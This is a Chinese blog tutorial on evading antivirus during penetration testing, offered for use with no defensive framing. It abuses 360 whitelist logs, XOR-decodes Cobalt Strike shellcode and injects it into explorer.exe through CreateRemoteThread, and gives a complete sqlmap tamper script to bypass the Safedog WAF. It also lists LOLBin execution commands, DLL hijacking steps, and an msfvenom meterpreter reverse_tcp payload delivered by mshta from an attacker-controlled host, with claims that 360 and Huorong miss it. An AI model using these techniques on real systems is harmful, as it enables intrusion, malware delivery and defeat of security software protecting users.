WEB渗透免杀篇-绕过

360白名单

需要足够的权限 360的扫描日志和设置白名单日志位置在:C:\Users[username]\AppData\Roaming\360Safe\360ScanLog
查看扫描日志内容可以查询到白名单文件 日志文件记录的是添加或移除白名单的时间、文件名、hash等信息,otc=1为添加白名单,otc=2为移除白名单或者隔离木马病毒文件等 可以使用这些白名单文件的命名来绕过查杀

image

内存中解码shellcode绕过av

https://github.com/mhaskar/Shellcode-In-Memory-Decoder 流程 打开一个进程并检索该进程的HANDLE。 在进程中分配空间(检索内存地址)。 将数据(shellcode)写入该进程中。 执行shellcode。 我们可以使用几个Win32 API执行这些步骤: OpenProcess() VirtualAllocEx() WriteProcessMemory() CreateRemoteThread() 正常情况下,我们将原始shellcode直接写入到内存中,但是如果AV /EDR检测到了Shellcode,它们肯定会发出警报 所以我们在二进制文件中使用可逆的方式把shellcode编码,再解码写入内存来规避防护。 比如加、减、异或、交换。 使用cs生成个shellcode

image

使用python进行异或

image

该脚本读取我们的shellcode的每个操作码,然后将其与字节0x01(在这种情况下为我们的密钥)进行异或,将其打印为如下的shellcode :

image

现在,我们将开始实现将为我们执行shellcode注入的C代码。 编译方式 x86_64-w64-mingw32-gcc decoder.c -o decoder.exe -w 我将逐步介绍每个win32 API。 打开过程并获取一个句柄 我们需要选择一个向其注入shellcode的进程,然后需要检索该过程的句柄,以便可以对其执行一些操作,我们将使用OpenProcess win32 API

image

该代码将您要获取其句柄的进程ID作为第一个参数,然后它将使用具有PROCESS_ALL_ACCESS访问权限的OpenProcess()来打开该进程并将该句柄保存在变量process中,最后,为我们打印

image

成功检索到该句柄
检索句柄后的下一步将是在该进程内分配空间,我们可以使用VirtualAllocEx()

image

base_address代表分配的内存的地址
16行,我们将打印分配的内存的地址,并将其写入数据

image

0x29d0000作为地址,
使用x64dbg附加explorer.exe进程,转到这里看看

可以看到函数VirtualAllocEx已为我们在explorer.exe中分配了内存空间,我们准备写入数据。 接下来我们解码shellcode并写到内存中 即使使用这种类型(这里用的是异或)的编码,我们的shellcode也可能会被标记,因此请确保在操作中使用之前使用更强的编码并对其进行测试。 这里为测试就只使用的0x01

image

这段代码将使用密钥0x01对每个字节进行解码后,将我们的shellcode写入内存中
运行

image

如图所见,我们将每个字节写入地址,现在我们用x64dbg进行调试,然后转到地址 0x3ce0000查看一下:

image

可以看到shellcode已经写入进去了。
下一步就是执行shellcode了
使用CreateRemoteThread()函数来执行

image

image

image

绕过安全狗脚本

#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'LICENSE' for copying permission
Author:LUSHUN
"""

import re
import os

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
        payload=payload.replace('AND','/*!11440AND*/')
        payload=payload.replace('ORDER','order/*!77777cz*/')
        payload=payload.replace("SELECT","/*!11440SELECT*/")
        payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
        payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
        payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
        payload=payload.replace("USER())","USER/*!77777cz*/())")
        payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
        return payload

一些可尝试绕过白名单的执行

forfiles /p c:\windows\system32 /m notepad.exe /c <bin> 
explorer.exe /root,"<bin>" 
pcalua.exe -a <bin> 
scriptrunner.exe -appvscript <bin> 
wmic process call create <bin> 
rundll32.exe advpack.dll, RegisterOCX <bin>

DLL劫持

白dll劫持 Processmonitor查找程序加载的dll 使用stud_pe加载dll进去 或 生成payload免杀好粘贴进去,查看目标上有什么软件,本地查找可劫持的dll,劫持好文件后传上去。

image

Mshta

https://github.com/mdsecactivebreach/CACTUSTORCH/blob/master/CACTUSTORCH.hta
生成
>msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=12138 -f raw -o /var/www/html/1.bin
>cat 1.bin |base64 -w 0

image

编码后的内容复制到

image

执行
>mshta http://192.168.0.106:1222/1.hta
360执行检测出来,静态动态无法检测、火绒无法检测
  • 13
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pluto-2003

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值